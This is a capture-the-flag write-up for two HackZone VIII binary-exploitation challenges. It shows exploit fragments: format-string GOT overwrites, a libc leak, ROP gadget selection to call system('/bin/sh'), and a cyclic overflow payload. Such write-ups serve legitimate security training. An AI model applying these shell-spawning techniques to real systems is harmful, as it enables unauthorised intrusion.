HackZone VIII CTF
Sun, 12 April 2020, 03:00 CST — Sun, 12 April 2020, 15:00 CST
only 12 hours … but 5 hours left for me after waking up
pwn1
Description
nc 79gq4l5zpv1aogjgw6yhhymi4.ctf.p0wnhub.com 11337
Download: https://storage.ctf.p0wnhub.com/pwn/bd456fb72d202f4e6e6302d98de83196-pwn1.zip
Author: RETTILA
Attachment
Analysis
fmtstr vulnerability
1 | int __cdecl __noreturn main(int argc, const char **argv, const char **envp) |
Reading 0x20
bytes to buf[0x10]
cause that the next variable format
would be overwritten by the last 0x10
bytes of input string.
Solution
repeat exploit it
overwrite exit
GOT to main
:
1 | # exit -> main & leak libc |
now we can repeat exploit the format string vulnerability for unlimited times
leak libc
We can leak address of read
in libc at the same time:
1 | data = ru('\x0a\x6e\x20\x48\x5a')[-6:] |
output: read: 0x7fdd43f58350
then use libc-database
to figure out the version of libc:
1 | ./find read 350 |
calc the base address of libc:
1 | libcbase = read-libc.sym['read'] |
getshell
At first, I tried to use one_gadget
, but finally failed. I couldn’t meet the constraints of one_gadget
.
1 | 0x46428 execve("/bin/sh", rsp+0x30, environ) |
too strict
Then I tried to overwrite system
to __free_hook
and use %100000c
to trigger free
, but failed again. (succeed in local but failed in remote)
Finally I found that we can set rdi
to '/bin/sh'
while calling printf
. And the input string was stored in stack. So we can puts the address of system into stack and use gadget pop-ret
to call system('/bin/sh')
.
find the gadget
we need overwrite the address of gadget pop-pop-pop-pop-ret
to printf
GOT
1 | p4r = libcbase + 0x00054f95 |
and the current values of printf
is its real address in libc
, so we can find gadget in libc
.
if gadget
is near printf
, we just need to overwrite the last 2 bytes.
1 | In [1]: from pwn import * |
offset of
printf
is0x54340
1 | % ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" --all > gadget |
choose gadget at
0x00054f95
layout of regs/stack
input aaaabaaacaaadaaaeaaafaaagaaahaaa
and see the layout of regs after printf
called:
rdi
= eaaa (offset=16)
rsp+0x18
= aaaa (offset=0)
so in the next time calling printf
puts '/bin/sh'
and the address of system
into proper place:
1 | pl3 = 'A'*8+p64(system) |
finally system("/bin/sh")
was executed.
More
you can download full exp from my github
BabyPwn
Description
easy as ABC.
nc 20yjtzrx50hpypicbajmro9dy.ctf.p0wnhub.com 1337
Authors: PsycoR, RETTILA, G0D3L, Likkrid, zpycho
Attachment
no attachment
Analysis
When trying to input something, it said Login failed!
1 | aaaaaaaaaaaaaaaaaaaaa |
Maybe the variable of checking password
can be overwritten while our input string is long enough.
Solution
1 | payload = cyclic(2048) |
Generate a long string and input it to get flag.
1 | //... |